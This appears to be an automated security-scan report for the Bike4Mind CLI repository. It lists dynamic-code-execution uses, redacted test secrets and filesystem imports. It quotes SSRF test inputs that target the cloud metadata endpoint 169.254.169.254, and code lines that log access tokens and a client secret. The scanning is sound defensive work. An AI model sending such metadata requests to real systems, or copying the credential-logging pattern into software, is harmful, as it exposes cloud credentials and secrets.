github JavaScript re-analysis due

Bike4Mind/bike4mind

v0.20.1

github

Interactive CLI tool for Bike4Mind with ReAct agents

maintainer: Bike4Mind
license: UNLICENSED
first seen: 2026-07-05
last seen: 2026-08-14
releases · 30d: 1359
short id

Drift inferred · capture-to-capture

No drift recorded — single capability capture; advisories appear once its surface changes.

capabilities 2 tools

transport stdio · streamable-http · http counts 2 tools · 0 res · 0 prompts permission surface via code analysis

tools

get_company
get_posts

skills & danger signals github-tarball

prompt-surface shipped agent-instruction files + hidden-content / dangerous-code findings — quoted from the analyzed source

analyzed commit c7b5854 · analyzer v32 · 9h ago

skills & prompt files 3

agent-rules Bike4Mind-bike4mind-c7b5854/.cursorrules
prompt-file Bike4Mind-bike4mind-c7b5854/docs-site/docs/admin/system-prompts.md
agent-rules Bike4Mind-bike4mind-c7b5854/docs-site/docs/features/agents.md

danger signals36

dynamic code execution new Function() Bike4Mind-bike4mind-c7b5854/apps/client/pages/api/embed/__tests__/widget.dom.test.ts :57 new Function(loader)();
dynamic code execution new Function() Bike4Mind-bike4mind-c7b5854/apps/client/pages/api/publish/__tests__/widget.test.ts :32 new Function(getWidgetJs())();
dynamic code execution new Function() Bike4Mind-bike4mind-c7b5854/apps/client/pages/api/react-artifact-sandbox.ts :263 var ComponentFactory = new Function('React', 'useState', 'useEffect', 'useRef', 'useMemo', 'useCallback', 'useReducer', 'useContext', 'createContext', 'require', functionBody);
dynamic code execution new Function() Bike4Mind-bike4mind-c7b5854/apps/client/public/static/lib/d3@7.x.js :2 Xu=34,Gu=10,Vu=13;function Wu(t){return new Function("d","return {"+t.map((function(t,n){return JSON.stringify(t)+": d["+n+'] || ""'})).join(",")+"}")}function Zu(t){var n=Object.create(null),e=[];ret
dynamic code execution new Function() Bike4Mind-bike4mind-c7b5854/apps/client/server/embed/embedSseParser.test.ts :28 const factory = new Function(`return (${EMBED_SSE_PARSER_SRC})`)() as (h: ParserHandlers) => Parser;
dynamic code execution indirect eval Bike4Mind-bike4mind-c7b5854/apps/client/server/embed/embedWidgetPage.runtime.test.ts :40 (0, eval)(EMBED_WIDGET_JS);
dynamic code execution new Function() Bike4Mind-bike4mind-c7b5854/apps/client/server/services/publish/reactArtifact.dom.test.ts :85 new Function(extractBootstrap(indexHtml))();
dynamic code execution eval() Bike4Mind-bike4mind-c7b5854/apps/client/server/services/publish/renderBundleLoaderShell.dom.test.ts :60 eval(bootstrapSource());
dynamic code execution new Function() Bike4Mind-bike4mind-c7b5854/b4m-core/common/src/schemas/settings.ts :80 - NEVER use eval(), new Function(), the Function constructor, document.write/writeln, or string-form setTimeout/setInterval (e.g. setTimeout("code", ms)) - directly or via aliases/string-concat. They
dynamic code execution eval() Bike4Mind-bike4mind-c7b5854/b4m-core/common/src/schemas/settings.ts :80 - NEVER use eval(), new Function(), the Function constructor, document.write/writeln, or string-form setTimeout/setInterval (e.g. setTimeout("code", ms)) - directly or via aliases/string-concat. They
dynamic code execution setTimeout(string) Bike4Mind-bike4mind-c7b5854/b4m-core/common/src/schemas/settings.ts :80 tring-form setTimeout/setInterval (e.g. setTimeout("code", ms)) - directly or via aliases/string-concat. They auto-reject the publish. Pass real function references to timers; parse with JSON.parse; b
dynamic code execution eval() Bike4Mind-bike4mind-c7b5854/b4m-core/services/src/sreAgentService/prompts.ts :204 - NEVER include \`eval(\`, \`child_process\`, \`exec(\`, \`Function(\`, or \`execSync\` in proposed code.
suspicious endpoint analytics.google.com (telemetry) Bike4Mind-bike4mind-c7b5854/apps/client/app/utils/__tests__/ga.test.ts :7 'https://analytics.google.com/analytics/web/#/p123456789/reports/reportinghub'
suspicious endpoint analytics.google.com (telemetry) Bike4Mind-bike4mind-c7b5854/apps/client/app/utils/ga.ts :7 return `https://analytics.google.com/analytics/web/#/p${match[1]}/reports/reportinghub`;
suspicious endpoint 169.254.169.254 (cloud metadata) Bike4Mind-bike4mind-c7b5854/apps/client/server/utils/cacheExternalImage.test.ts :43 const ssrfUrl = 'http://169.254.169.254/latest/meta-data/';
suspicious endpoint 1.2.3.4 Bike4Mind-bike4mind-c7b5854/b4m-core/common/src/schemas/publishedArtifact.embed.test.ts :34 expect(parseEmbedOrigin('https://1.2.3.4')).toBeNull();
suspicious endpoint 169.254.169.254 (cloud metadata) Bike4Mind-bike4mind-c7b5854/b4m-core/services/src/llm/tools/implementation/webfetch/index.test.ts :323 const res = await firecrawlFetch(adapters, 'http://169.254.169.254/latest/meta-data/');
suspicious endpoint 169.254.169.254 (cloud metadata) Bike4Mind-bike4mind-c7b5854/b4m-core/services/src/llm/tools/implementation/webfetch/ssrfGuard.test.ts :53 expect(await unsafeFetchUrlReason(new URL('http://169.254.169.254/latest/meta-data/'))).toContain('private');
suspicious endpoint 169.254.169.254 (cloud metadata) Bike4Mind-bike4mind-c7b5854/b4m-core/services/src/sreAgentService/prompts.ts :155 URL', async () => {\\n const url = 'http://169.254.169.254/latest/meta-data/';\\n const result = await cacheExternalImage(url);\\n expect(result).toBe(url);\\n });\\n});\\n"
over-broad OAuth scope https://www.googleapis.com/auth/documents Bike4Mind-bike4mind-c7b5854/apps/client/app/components/Session/GoogleDoc.tsx :32 const SCOPES = 'https://www.googleapis.com/auth/drive.readonly https://www.googleapis.com/auth/documents';
committed secret GitHub fine-grained PAT Bike4Mind-bike4mind-c7b5854/.github/scripts/redact-review-transcript.test.sh :139 github…(51 chars, redacted)
committed secret Slack token Bike4Mind-bike4mind-c7b5854/apps/client/server/security/tokenEncryption.test.ts :53 xoxb-p…(20 chars, redacted)
committed secret Anthropic key Bike4Mind-bike4mind-c7b5854/apps/client/server/services/liveopsTriageService.test.ts :605 sk-ant…(44 chars, redacted)
committed secret Google API key Bike4Mind-bike4mind-c7b5854/apps/client/server/services/liveopsTriageService.test.ts :632 AIzaSy…(39 chars, redacted)
committed secret Slack token Bike4Mind-bike4mind-c7b5854/apps/client/server/services/prReport/guards.test.ts :51 xoxb-s…(23 chars, redacted)
committed secret OpenAI key Bike4Mind-bike4mind-c7b5854/b4m-core/fab-pipeline/src/embeddings/EmbeddingFactory.test.ts :165 sk-rea…(30 chars, redacted)
committed secret OpenAI key Bike4Mind-bike4mind-c7b5854/b4m-core/fab-pipeline/src/embeddings/providers/OpenAIEmbeddingService.test.ts :49 sk-rea…(30 chars, redacted)
committed secret Slack token Bike4Mind-bike4mind-c7b5854/b4m-core/services/src/prReportService/sendReport.test.ts :6 xoxb-s…(23 chars, redacted)
committed secret Slack token Bike4Mind-bike4mind-c7b5854/b4m-core/slack/src/__tests__/search-handler.test.ts :43 xoxp-m…(20 chars, redacted)
committed secret Slack token Bike4Mind-bike4mind-c7b5854/b4m-core/slack/src/services/SlackAuditLogger.test.ts :157 xoxb-s…(17 chars, redacted)
committed secret Slack token Bike4Mind-bike4mind-c7b5854/b4m-core/slack/src/workspace-routing.test.ts :23 xoxb-o…(26 chars, redacted)
committed secret Slack token Bike4Mind-bike4mind-c7b5854/packages/database/src/models/infra/integrations/__tests__/SlackDevWorkspaceModel.test.ts :58 xoxb-s…(17 chars, redacted)
credential in logs credential in log Bike4Mind-bike4mind-c7b5854/apps/client/app/components/Session/GoogleDoc.tsx :280 console.log(`Exporting with token: ${accessToken}`);
credential in logs credential in log Bike4Mind-bike4mind-c7b5854/packages/cli/src/index.tsx :2489 console.log(`Expires: ${new Date(authTokens.expiresAt).toLocaleString()}`);
credential in logs credential in log Bike4Mind-bike4mind-c7b5854/packages/scripts/src/seed-oauth-client.ts :114 console.log(' client_secret:', clientSecret);
credential in logs credential in log Bike4Mind-bike4mind-c7b5854/packages/scripts/test-api-usage-monitoring.ts :83 console.log(`✅ Found API key: ${apiKeyDoc.name} (${apiKeyDoc.id})`);

code evidence v0.0.0-gh-readonly-queue-main-pr-1765-e805cbe54ebd5c7d111-20260814024422 · github-tarball

evidence-backed findings quoted directly from the published source artifact — not inferred

code files: 6754

filesystem 185

fs (weak) Bike4Mind-bike4mind-c7b5854/apps/client/__tests__/premiumGlueLinking.test.ts :3 import { cpSync, existsSync, mkdirSync, mkdtempSync, readFileSync, rmSync, writeFileSync } from 'node:fs';
fs (weak) Bike4Mind-bike4mind-c7b5854/apps/client/__tests__/premiumInfraGlue.test.ts :2 import { readFileSync, existsSync } from 'node:fs';
fs (weak) Bike4Mind-bike4mind-c7b5854/apps/client/__tests__/premiumMigrationsCodegenNoSources.test.ts :3 import { mkdtempSync, mkdirSync, writeFileSync, copyFileSync, readFileSync, rmSync, existsSync } from 'node:fs';
fs (weak) Bike4Mind-bike4mind-c7b5854/apps/client/__tests__/premiumMigrationsWiring.test.ts :2 import { readFileSync, existsSync, readdirSync } from 'node:fs';
fs (weak) Bike4Mind-bike4mind-c7b5854/apps/client/__tests__/premiumToolsWiring.test.ts :2 import { readdirSync, readFileSync } from 'node:fs';
fs (weak) Bike4Mind-bike4mind-c7b5854/apps/client/__tests__/sessionSystemPromptWiring.test.ts :2 import { readdirSync, readFileSync } from 'node:fs';
fs (weak) Bike4Mind-bike4mind-c7b5854/apps/client/app/components/Session/SessionBottom/SessionBottom.dedup.test.ts :2 import { readFileSync } from 'fs';
fs (weak) Bike4Mind-bike4mind-c7b5854/apps/client/app/components/Session/SessionBottom/useSendMessage.dataLakeCreate.test.ts :2 import { readFileSync } from 'fs';
fs (weak) Bike4Mind-bike4mind-c7b5854/apps/client/app/components/Session/SessionBottom/useSendMessage.hostCreate.test.ts :2 import { readFileSync } from 'fs';
fs (weak) Bike4Mind-bike4mind-c7b5854/apps/client/app/components/Session/SessionBottom/useSendMessage.killSwitch.test.ts :2 import { readFileSync } from 'fs';
fs (weak) Bike4Mind-bike4mind-c7b5854/apps/client/app/components/Session/SessionBottom/useSendMessage.stopMessageToast.test.ts :2 import { readFileSync } from 'fs';
fs (weak) Bike4Mind-bike4mind-c7b5854/apps/client/app/components/Session/SessionBottom/useSendMessage.toolsOverride.test.ts :2 import { readFileSync } from 'fs';
fs (weak) Bike4Mind-bike4mind-c7b5854/apps/client/app/hooks/useAttachmentFitWarning.test.ts :1 import fs from 'fs';
fs (weak) Bike4Mind-bike4mind-c7b5854/apps/client/app/utils/__tests__/reactArtifactSandboxGuard.test.ts :2 import { readFileSync, existsSync } from 'node:fs';
fs (weak) Bike4Mind-bike4mind-c7b5854/apps/client/e2e/ai-latency-discover.spec.ts :1 import fs from 'fs';
fs (weak) Bike4Mind-bike4mind-c7b5854/apps/client/e2e/ai-latency-suite-factory.ts :1 import fs from 'fs';
fs (weak) Bike4Mind-bike4mind-c7b5854/apps/client/e2e/core.setup.ts :2 import { mkdirSync, writeFileSync } from 'fs';
fs (weak) Bike4Mind-bike4mind-c7b5854/apps/client/e2e/data-lake.spec.ts :1 import fs from 'fs';
fs (weak) Bike4Mind-bike4mind-c7b5854/apps/client/e2e/global-teardown.ts :2 import fs from 'fs';
fs (weak) Bike4Mind-bike4mind-c7b5854/apps/client/e2e/helpers/credits-store.ts :1 import fs from 'fs';
fs (weak) Bike4Mind-bike4mind-c7b5854/apps/client/e2e/helpers/test-users.ts :1 import fs from 'fs';
fs Bike4Mind-bike4mind-c7b5854/apps/client/empty-module.js :3 // Required by HiGHS WASM loader which contains require('fs') for Node.js paths
fs (weak) Bike4Mind-bike4mind-c7b5854/apps/client/next.config.mjs :168 // Stub Node.js modules for browser builds (e.g., HiGHS WASM loader uses require('fs'))
fs (weak) Bike4Mind-bike4mind-c7b5854/apps/client/pages/api/files/__tests__/download.test.ts :4 import * as fs from 'fs';
fs Bike4Mind-bike4mind-c7b5854/apps/client/pages/api/files/download.ts :6 import * as fs from 'fs';
fs Bike4Mind-bike4mind-c7b5854/apps/client/pages/api/help/index.ts :4 import fs from 'fs';
fs (weak) Bike4Mind-bike4mind-c7b5854/apps/client/scripts/copy-highs-wasm.mjs :15 import { copyFileSync, mkdirSync, existsSync } from 'fs';
fs (weak) Bike4Mind-bike4mind-c7b5854/apps/client/scripts/copy-pdf-worker.mjs :17 import { copyFileSync, mkdirSync } from 'fs';
fs (weak) Bike4Mind-bike4mind-c7b5854/apps/client/scripts/generate-premium-glue.mjs :36 import { readdirSync, readFileSync, writeFileSync, mkdirSync, existsSync, rmSync, renameSync } from 'node:fs';
fs (weak) Bike4Mind-bike4mind-c7b5854/apps/client/scripts/pruneTestRoutes.mjs :15 import fs from 'node:fs';
fs (weak) Bike4Mind-bike4mind-c7b5854/apps/client/scripts/setup-e2e.mjs :4 import { existsSync, readFileSync } from 'fs';
fs (weak) Bike4Mind-bike4mind-c7b5854/apps/client/server/__tests__/sessionRedactionGuard.test.ts :2 import { readFileSync, readdirSync } from 'node:fs';
fs (weak) Bike4Mind-bike4mind-c7b5854/apps/client/server/analytics/importBoundary.test.ts :3 import { readdirSync, readFileSync } from 'fs';
fs (weak) Bike4Mind-bike4mind-c7b5854/apps/client/server/chatCompletion/external/embedRoute.integration.test.ts :7 import { mkdirSync, writeFileSync } from 'fs';
fs Bike4Mind-bike4mind-c7b5854/apps/client/server/help/retrieval.ts :22 import fs from 'fs';
fs (weak) Bike4Mind-bike4mind-c7b5854/apps/client/server/queueHandlers/sqsDelivery.test.ts :2 import { readFileSync } from 'node:fs';
fs (weak) Bike4Mind-bike4mind-c7b5854/apps/client/server/utils/dlqRegistrySync.test.ts :2 import * as fs from 'fs';
fs (weak) Bike4Mind-bike4mind-c7b5854/apps/client/server/utils/files.test.ts :3 import * as fs from 'fs';
fs Bike4Mind-bike4mind-c7b5854/apps/client/server/utils/files.ts :2 import * as fs from 'fs';
fs (weak) Bike4Mind-bike4mind-c7b5854/b4m-core/agents/src/deepAgent/runtime/boundary.test.ts :1 import { readdirSync, readFileSync } from 'fs';
fs Bike4Mind-bike4mind-c7b5854/b4m-core/common/src/openapi/generate.ts :1 import { writeFileSync, readFileSync, mkdirSync } from 'node:fs';
fs Bike4Mind-bike4mind-c7b5854/b4m-core/db-core/src/certs/documentdb-cert-manager.ts :1 import { writeFileSync, existsSync, mkdirSync } from 'fs';
fs Bike4Mind-bike4mind-c7b5854/b4m-core/fab-pipeline/src/storage/S3Storage.ts :14 import fs from 'fs';
fs (weak) Bike4Mind-bike4mind-c7b5854/b4m-core/infra/src/__tests__/bucketRouteCollision.test.ts :2 import { readFileSync } from 'node:fs';
fs (weak) Bike4Mind-bike4mind-c7b5854/b4m-core/infra/src/__tests__/fabFileExtractedCountInvalidation.test.ts :1 import fs from 'fs';
fs (weak) Bike4Mind-bike4mind-c7b5854/b4m-core/infra/src/__tests__/fabFileModerationGate.test.ts :2 import { readFileSync, readdirSync, statSync } from 'node:fs';
fs (weak) Bike4Mind-bike4mind-c7b5854/b4m-core/infra/src/__tests__/productGateCoverage.test.ts :2 import { existsSync, readdirSync, readFileSync, statSync } from 'node:fs';
fs (weak) Bike4Mind-bike4mind-c7b5854/b4m-core/infra/src/__tests__/securityGroupRuleDescription.test.ts :2 import { readFileSync, readdirSync } from 'node:fs';
fs Bike4Mind-bike4mind-c7b5854/b4m-core/llm-adapters/src/syncModelDescriptions.ts :3 import fs from 'fs';
fs (weak) Bike4Mind-bike4mind-c7b5854/b4m-core/mcp/src/build-verification.test.ts :2 import { existsSync } from 'fs';
fs Bike4Mind-bike4mind-c7b5854/b4m-core/mcp/src/client.ts :8 import { existsSync, readdirSync } from 'fs';
fs (weak) Bike4Mind-bike4mind-c7b5854/b4m-core/services/src/dataLakeService/dataLakeService.test.ts :2 import { readFileSync } from 'node:fs';
fs Bike4Mind-bike4mind-c7b5854/b4m-core/services/src/importHistoryService/index.ts :2 import fs, { unlinkSync } from 'fs';
fs (weak) Bike4Mind-bike4mind-c7b5854/b4m-core/services/src/llm/systemPromptSources.test.ts :1 import { readFileSync } from 'fs';
fs (weak) Bike4Mind-bike4mind-c7b5854/b4m-core/services/src/llm/tools/base/toolUsageRecording.guard.test.ts :1 import { readdirSync, readFileSync } from 'fs';
fs Bike4Mind-bike4mind-c7b5854/b4m-core/services/src/llm/tools/implementation/createFile/index.ts :2 import { promises as fs } from 'fs';
fs Bike4Mind-bike4mind-c7b5854/b4m-core/services/src/llm/tools/implementation/deleteFile/index.ts :2 import { promises as fs } from 'fs';
fs Bike4Mind-bike4mind-c7b5854/b4m-core/services/src/llm/tools/implementation/editLocalFile/index.ts :2 import { promises as fs } from 'fs';
fs (weak) Bike4Mind-bike4mind-c7b5854/b4m-core/services/src/llm/tools/implementation/fileRead/index.test.ts :3 import { mkdtemp, writeFile, readFile, rm } from 'fs/promises';
fs Bike4Mind-bike4mind-c7b5854/b4m-core/services/src/llm/tools/implementation/fileRead/index.ts :2 import { promises as fs } from 'fs';
fs Bike4Mind-bike4mind-c7b5854/b4m-core/services/src/llm/tools/implementation/globFiles/index.ts :3 import { stat } from 'fs/promises';
fs (weak) Bike4Mind-bike4mind-c7b5854/b4m-core/services/src/llm/tools/implementation/grepSearch/index.test.ts :3 import { mkdtemp, writeFile, mkdir, rm } from 'fs/promises';
fs Bike4Mind-bike4mind-c7b5854/b4m-core/services/src/llm/tools/implementation/grepSearch/index.ts :2 import { stat } from 'fs/promises';
fs (weak) Bike4Mind-bike4mind-c7b5854/b4m-core/services/src/llm/tools/utils/pathValidation.test.ts :3 import { mkdtemp, writeFile, rm, symlink, mkdir, realpath } from 'fs/promises';
fs Bike4Mind-bike4mind-c7b5854/b4m-core/services/src/llm/tools/utils/pathValidation.ts :2 import { realpathSync } from 'fs';
fs (weak) Bike4Mind-bike4mind-c7b5854/b4m-core/services/src/modelDiscoveryService/sources/anthropic.test.ts :1 import { readFileSync } from 'node:fs';
fs (weak) Bike4Mind-bike4mind-c7b5854/b4m-core/services/src/modelDiscoveryService/sources/openai.test.ts :1 import { readFileSync } from 'node:fs';
fs (weak) Bike4Mind-bike4mind-c7b5854/b4m-core/services/src/modelDiscoveryService/sources/openaiDocs.test.ts :1 import { readFileSync } from 'node:fs';
fs Bike4Mind-bike4mind-c7b5854/eslint.config.mjs :165 // (`const { readdirSync } = require('fs')`, incl. aliased `{ readdirSync: walk }`) is covered too.
fs Bike4Mind-bike4mind-c7b5854/infra/wafPolicy.ts :16 import fs from 'node:fs';
fs Bike4Mind-bike4mind-c7b5854/packages/cli/bin/bike4mind-cli.mjs :19 import { existsSync } from 'fs';
fs (weak) Bike4Mind-bike4mind-c7b5854/packages/cli/src/acp/cwd.test.ts :2 import { mkdtempSync, writeFileSync, rmSync, realpathSync } from 'fs';
fs Bike4Mind-bike4mind-c7b5854/packages/cli/src/acp/cwd.ts :11 import { existsSync, statSync, realpathSync } from 'fs';
fs Bike4Mind-bike4mind-c7b5854/packages/cli/src/agents/AgentStore.ts :14 import fs from 'fs/promises';
fs (weak) Bike4Mind-bike4mind-c7b5854/packages/cli/src/bootstrap/registerKeepHandlers.test.ts :2 import { promises as fs } from 'fs';
fs Bike4Mind-bike4mind-c7b5854/packages/cli/src/bootstrap/registerKeepHandlers.ts :1 import { promises as fs } from 'fs';
fs Bike4Mind-bike4mind-c7b5854/packages/cli/src/commands/doctorCommand.ts :8 import { existsSync } from 'fs';
fs Bike4Mind-bike4mind-c7b5854/packages/cli/src/commands/executeNotebookHandler.ts :9 import { promises as fs } from 'fs';
fs Bike4Mind-bike4mind-c7b5854/packages/cli/src/commands/headlessCommand.ts :51 import { readFile } from 'fs/promises';
fs (weak) Bike4Mind-bike4mind-c7b5854/packages/cli/src/commands/pluginCommand.test.ts :16 import { promises as fs, mkdirSync, writeFileSync, readFileSync } from 'fs';
fs Bike4Mind-bike4mind-c7b5854/packages/cli/src/commands/pluginCommand.ts :9 import { promises as fs } from 'fs';
fs Bike4Mind-bike4mind-c7b5854/packages/cli/src/evals/cli.ts :24 import { promises as fs } from 'fs';
fs (weak) Bike4Mind-bike4mind-c7b5854/packages/cli/src/evals/runner.test.ts :10 import { existsSync } from 'fs';
fs Bike4Mind-bike4mind-c7b5854/packages/cli/src/evals/runner.ts :8 import { promises as fs } from 'fs';
fs Bike4Mind-bike4mind-c7b5854/packages/cli/src/evals/tasks/codeUnderstanding.task.ts :14 import { promises as fs } from 'fs';
fs Bike4Mind-bike4mind-c7b5854/packages/cli/src/evals/tasks/createFile.task.ts :8 import { promises as fs } from 'fs';
fs Bike4Mind-bike4mind-c7b5854/packages/cli/src/evals/tasks/findAndFixBug.task.ts :17 import { promises as fs } from 'fs';
fs Bike4Mind-bike4mind-c7b5854/packages/cli/src/evals/tasks/multiFileRefactor.task.ts :14 import { promises as fs } from 'fs';
fs Bike4Mind-bike4mind-c7b5854/packages/cli/src/evals/tasks/multiStepEdit.task.ts :8 import { promises as fs } from 'fs';
fs Bike4Mind-bike4mind-c7b5854/packages/cli/src/evals/tasks/readFile.task.ts :7 import { promises as fs } from 'fs';
fs Bike4Mind-bike4mind-c7b5854/packages/cli/src/features/bridgePresence/BridgePresence.ts :1 import { promises as fs } from 'fs';
fs (weak) Bike4Mind-bike4mind-c7b5854/packages/cli/src/features/buildFeatureRegistry.test.ts :9 import { promises as fs } from 'fs';
fs (weak) Bike4Mind-bike4mind-c7b5854/packages/cli/src/features/loadPlugin.test.ts :10 import { promises as fs } from 'fs';
fs (weak) Bike4Mind-bike4mind-c7b5854/packages/cli/src/features/pluginSystem.integration.test.ts :9 import { promises as fs } from 'fs';
fs Bike4Mind-bike4mind-c7b5854/packages/cli/src/index.tsx :17 import { existsSync, promises as fs } from 'fs';
fs (weak) Bike4Mind-bike4mind-c7b5854/packages/cli/src/package-deps.test.ts :9 import { readFileSync, readdirSync, statSync } from 'fs';
fs (weak) Bike4Mind-bike4mind-c7b5854/packages/cli/src/plugins/PluginStore.test.ts :8 import { promises as fs } from 'fs';
fs Bike4Mind-bike4mind-c7b5854/packages/cli/src/plugins/PluginStore.ts :1 import { promises as fs } from 'fs';
fs (weak) Bike4Mind-bike4mind-c7b5854/packages/cli/src/sandbox/logging/ViolationLogStore.test.ts :2 import { promises as fs } from 'fs';
fs (weak) Bike4Mind-bike4mind-c7b5854/packages/cli/src/sandbox/logging/ViolationLogStore.ts :1 import { promises as fs } from 'fs';
fs (weak) Bike4Mind-bike4mind-c7b5854/packages/cli/src/sandbox/runtime/BubblewrapRuntime.integration.test.ts :7 import { existsSync, mkdirSync, rmSync } from 'fs';
fs (weak) Bike4Mind-bike4mind-c7b5854/packages/cli/src/sandbox/runtime/SandboxRuntimeAdapter.ts :5 import { accessSync, constants } from 'fs';
fs (weak) Bike4Mind-bike4mind-c7b5854/packages/cli/src/sandbox/runtime/SeatbeltRuntime.integration.test.ts :7 import { existsSync, mkdirSync, rmSync } from 'fs';
fs (weak) Bike4Mind-bike4mind-c7b5854/packages/cli/src/sandbox/runtime/SeatbeltRuntime.test.ts :4 import { writeFileSync } from 'fs';
fs (weak) Bike4Mind-bike4mind-c7b5854/packages/cli/src/sandbox/runtime/SeatbeltRuntime.ts :7 import { writeFileSync, mkdtempSync } from 'fs';
fs (weak) Bike4Mind-bike4mind-c7b5854/packages/cli/src/storage/CheckpointStore.test.ts :10 import { promises as fs } from 'fs';
fs Bike4Mind-bike4mind-c7b5854/packages/cli/src/storage/CheckpointStore.ts :1 import { promises as fs } from 'fs';
fs Bike4Mind-bike4mind-c7b5854/packages/cli/src/storage/CommandHistoryStore.ts :1 import { promises as fs } from 'fs';
fs (weak) Bike4Mind-bike4mind-c7b5854/packages/cli/src/storage/ConfigStore.features.test.ts :8 import { promises as fs } from 'fs';
fs (weak) Bike4Mind-bike4mind-c7b5854/packages/cli/src/storage/ConfigStore.mcpConfig.test.ts :2 import { mkdtempSync, rmSync, writeFileSync } from 'fs';
fs (weak) Bike4Mind-bike4mind-c7b5854/packages/cli/src/storage/ConfigStore.test.ts :10 import { promises as fs } from 'fs';
fs Bike4Mind-bike4mind-c7b5854/packages/cli/src/storage/ConfigStore.ts :1 import { promises as fs, existsSync } from 'fs';
fs (weak) Bike4Mind-bike4mind-c7b5854/packages/cli/src/storage/CustomCommandStore.remote.test.ts :2 import fs from 'fs/promises';
fs Bike4Mind-bike4mind-c7b5854/packages/cli/src/storage/CustomCommandStore.ts :1 import fs from 'fs/promises';
fs Bike4Mind-bike4mind-c7b5854/packages/cli/src/storage/ImageStore.ts :2 import { mkdirSync, writeFileSync, readFileSync, existsSync, unlinkSync } from 'fs';
fs (weak) Bike4Mind-bike4mind-c7b5854/packages/cli/src/storage/RemoteSkillSource.test.ts :2 import fs from 'fs/promises';
fs Bike4Mind-bike4mind-c7b5854/packages/cli/src/storage/RemoteSkillSource.ts :1 import fs from 'fs/promises';
fs (weak) Bike4Mind-bike4mind-c7b5854/packages/cli/src/storage/SessionStore.test.ts :11 import { promises as fs } from 'fs';
fs Bike4Mind-bike4mind-c7b5854/packages/cli/src/storage/SessionStore.ts :1 import { promises as fs } from 'fs';
fs (weak) Bike4Mind-bike4mind-c7b5854/packages/cli/src/tools/findDefinitionTool.test.ts :3 import { mkdtemp, writeFile, mkdir, rm } from 'fs/promises';
fs Bike4Mind-bike4mind-c7b5854/packages/cli/src/tools/findDefinitionTool.ts :2 import { stat } from 'fs/promises';
fs (weak) Bike4Mind-bike4mind-c7b5854/packages/cli/src/tools/getFileStructure/__tests__/index.test.ts :3 import { mkdtemp, writeFile, rm } from 'fs/promises';
fs Bike4Mind-bike4mind-c7b5854/packages/cli/src/tools/getFileStructure/index.ts :2 import { existsSync, promises as fs, statSync } from 'fs';
fs Bike4Mind-bike4mind-c7b5854/packages/cli/src/tools/getFileStructure/treeSitterEngine.ts :2 import { readFileSync } from 'fs';
fs Bike4Mind-bike4mind-c7b5854/packages/cli/src/utils/Logger.ts :1 import fs from 'fs/promises';
fs (weak) Bike4Mind-bike4mind-c7b5854/packages/cli/src/utils/contextLoader.test.ts :2 import * as fs from 'node:fs';
fs Bike4Mind-bike4mind-c7b5854/packages/cli/src/utils/contextLoader.ts :1 import * as fs from 'node:fs';
fs Bike4Mind-bike4mind-c7b5854/packages/cli/src/utils/diffPreview.ts :2 import { readFile } from 'fs/promises';
fs Bike4Mind-bike4mind-c7b5854/packages/cli/src/utils/fileSearch.ts :1 import * as fs from 'node:fs';
fs (weak) Bike4Mind-bike4mind-c7b5854/packages/cli/src/utils/handoff.test.ts :2 import { promises as fs } from 'fs';
fs Bike4Mind-bike4mind-c7b5854/packages/cli/src/utils/handoff.ts :1 import { promises as fs } from 'fs';
fs Bike4Mind-bike4mind-c7b5854/packages/cli/src/utils/imageDetector.ts :1 import { readFileSync, existsSync, statSync } from 'fs';
fs Bike4Mind-bike4mind-c7b5854/packages/cli/src/utils/mcpAdapter.ts :2 import { readFile, writeFile, mkdir } from 'fs/promises';
fs (weak) Bike4Mind-bike4mind-c7b5854/packages/cli/src/utils/peonNotifier.test.ts :24 import { existsSync } from 'fs';
fs Bike4Mind-bike4mind-c7b5854/packages/cli/src/utils/peonNotifier.ts :21 import { existsSync } from 'fs';
fs (weak) Bike4Mind-bike4mind-c7b5854/packages/cli/src/utils/processFileReferences.test.ts :2 import * as fs from 'node:fs';
fs Bike4Mind-bike4mind-c7b5854/packages/cli/src/utils/processFileReferences.ts :1 import * as fs from 'node:fs';
fs (weak) Bike4Mind-bike4mind-c7b5854/packages/cli/src/utils/processHooks.test.ts :2 import { existsSync, readFileSync, mkdtempSync, rmSync } from 'fs';
fs Bike4Mind-bike4mind-c7b5854/packages/cli/src/utils/ripgrepCheck.ts :1 import { access, constants } from 'fs/promises';
fs Bike4Mind-bike4mind-c7b5854/packages/cli/src/utils/terminalSetup.ts :18 import { existsSync, promises as fs } from 'fs';
fs Bike4Mind-bike4mind-c7b5854/packages/cli/src/utils/toolsAdapter.ts :2 import { rmSync } from 'fs';
fs (weak) Bike4Mind-bike4mind-c7b5854/packages/cli/src/utils/updateChecker.test.ts :31 import { promises as fs } from 'fs';
fs Bike4Mind-bike4mind-c7b5854/packages/cli/src/utils/updateChecker.ts :7 import { promises as fs, constants as fsConstants } from 'fs';
fs (weak) Bike4Mind-bike4mind-c7b5854/packages/cli/test/e2e/baseline.test.ts :17 import { existsSync, readFileSync, statSync } from 'fs';
fs (weak) Bike4Mind-bike4mind-c7b5854/packages/cli/test/e2e/plugin-install.test.ts :13 import { promises as fs } from 'fs';
fs (weak) Bike4Mind-bike4mind-c7b5854/packages/cli/test/scripts/refresh-baseline.mjs :13 import { readFileSync, writeFileSync, readdirSync, statSync, existsSync } from 'fs';
fs Bike4Mind-bike4mind-c7b5854/packages/cli/tsdown.config.ts :2 import { cpSync, readFileSync } from 'fs';
fs (weak) Bike4Mind-bike4mind-c7b5854/packages/database/src/__tests__/barrel-completeness.test.ts :2 import * as fs from 'fs';
fs Bike4Mind-bike4mind-c7b5854/packages/database/src/seeds/regenerateModelCatalogSeed.ts :1 import { realpathSync, writeFileSync } from 'fs';
fs Bike4Mind-bike4mind-c7b5854/packages/database/src/seeds/regenerateModelPriceSeed.ts :1 import { realpathSync, writeFileSync } from 'fs';
fs (weak) Bike4Mind-bike4mind-c7b5854/packages/scripts/datalake/ingest-pdf-datalake.ts :38 import { readFile, stat } from 'fs/promises';
fs (weak) Bike4Mind-bike4mind-c7b5854/packages/scripts/gameDataJsonSplitter.ts :3 import { mkdir, readFile, writeFile } from 'fs/promises';
fs (weak) Bike4Mind-bike4mind-c7b5854/packages/scripts/help/build-help-index.ts :11 import * as fs from 'fs';
fs (weak) Bike4Mind-bike4mind-c7b5854/packages/scripts/help/bundle-help-content.ts :14 import * as fs from 'fs';
fs (weak) Bike4Mind-bike4mind-c7b5854/packages/scripts/help/help-coverage-report.ts :16 import * as fs from 'fs';
fs (weak) Bike4Mind-bike4mind-c7b5854/packages/scripts/help/ingest-help-datalake.ts :34 import * as fs from 'fs';
fs (weak) Bike4Mind-bike4mind-c7b5854/packages/scripts/help/loadHelpArticles.ts :15 import * as fs from 'fs';
